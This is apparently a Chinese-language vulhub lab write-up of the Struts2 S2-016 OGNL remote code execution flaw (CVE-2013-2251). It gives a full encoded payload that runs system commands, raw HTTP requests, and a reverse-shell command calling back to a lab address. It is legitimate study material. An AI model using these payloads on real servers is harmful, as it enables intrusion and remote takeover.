当前位置: 首页 > article >正文

S2-016-RCE(CVE-2013-2251)--vulhub

S2-016-RCE(CVE-2013-2251)

在Struts2框架中,DefaultActionMapper类支持以”action:”、”redirect:”、”redirectAction:”作为导航或是重定向前缀,这些导航或者前缀后面可以跟OGNL表达式,但Struts2并没有对这些前缀做过滤,所以可以执行恶意OGNL表达式执行系统命令。

Affected Version: 2.0.0 - 2.3.15

漏洞url:http://192.168.200.142:8080/

RCEpoc

执行uname命令

/index.action?redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%22uname%20-a%22%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read%28%23d%29%2C%23genxor%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2C%23genxor.println%28%23d%29%2C%23genxor.flush%28%29%2C%23genxor.close%28%29%7D

命令解释:

redirect:
禁用方法访问限制
${#context["xwork.MethodAccessor.denyMethodExecution"]=false,
允许访问静态方法
#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),
执行系统命令
#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),
读取命令输出
#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),
将命令输出写入HTTP响应
#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}

数据包

GET /index.action?redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%22uname%20-a%22%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read%28%23d%29%2C%23genxor%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2C%23genxor.println%28%23d%29%2C%23genxor.flush%28%29%2C%23genxor.close%28%29%7D HTTP/1.1
Host: 192.168.200.142:8080
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: JSESSIONID=90E4A0BB9305635AB4F2DA85E5D2E6C8
Upgrade-Insecure-Requests: 1
Priority: u=0, i

成功返回结果

在这里插入图片描述

反弹shell

/bin/bash -c bash$IFS$9-i>&/dev/tcp/192.168.200.131/6666<&1

数据包

GET /index.action?redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22%2Fbin%2Fbash%20-c%20bash%24IFS%249-i%3E%26%2Fdev%2Ftcp%2F192.168.200.131%2F6666%3C%261%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1
Host: 192.168.200.142:8080
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: JSESSIONID=90E4A0BB9305635AB4F2DA85E5D2E6C8
Upgrade-Insecure-Requests: 1
Priority: u=0, i

发包
在这里插入图片描述

成功获取反弹shell

在这里插入图片描述


http://www.kler.cn/a/465082.html

相关文章:

  • 本地测试文件解析
  • DATACOM-DHCP-复习-实验
  • GRU-PFG:利用图神经网络从股票因子中提取股票间相关性
  • IDEA试用总结
  • Golang的容器编排实践
  • Eplan 布局图中的宏/设备/安装板比例缩放
  • SSM-Spring-IOC/DI注解开发
  • git@github.com:username/repository.git 报错:no such file or directory
  • 代码随想录算法训练营第49期总结
  • 从低通滤波器到高通滤波器及小波函数的构造-附Matlab源程序
  • k8s基础(3)—Kubernetes-Deployment
  • 数据挖掘——模型的评价
  • 机器学习 学习知识点
  • 比ftp好用的大文件传输方案
  • 纵览!报表控件 Stimulsoft Reports、Dashboards 和 Forms 2025.1 新版本发布!
  • 复习打卡大数据篇——HIVE 01
  • Elasticsearch名词解释
  • 基于深度学习的视觉检测小项目(三) 通过设计一个简单的用户界面设计了解pyside的基本套路
  • C# 设计模式(结构型模式):适配器模式
  • Redis 入门与实战指南
  • 自动化测试之Pytest框架(万字详解)
  • 迈向云原生网络的初期
  • web期末作业网页设计实例代码 (建议收藏) HTML+CSS+JS (网页源码)
  • Rdis速通
  • 本地部署Whisper Web结合内网穿透实现远程访问本地语音转文本模型
  • 大模型在自动驾驶领域的应用和存在的问题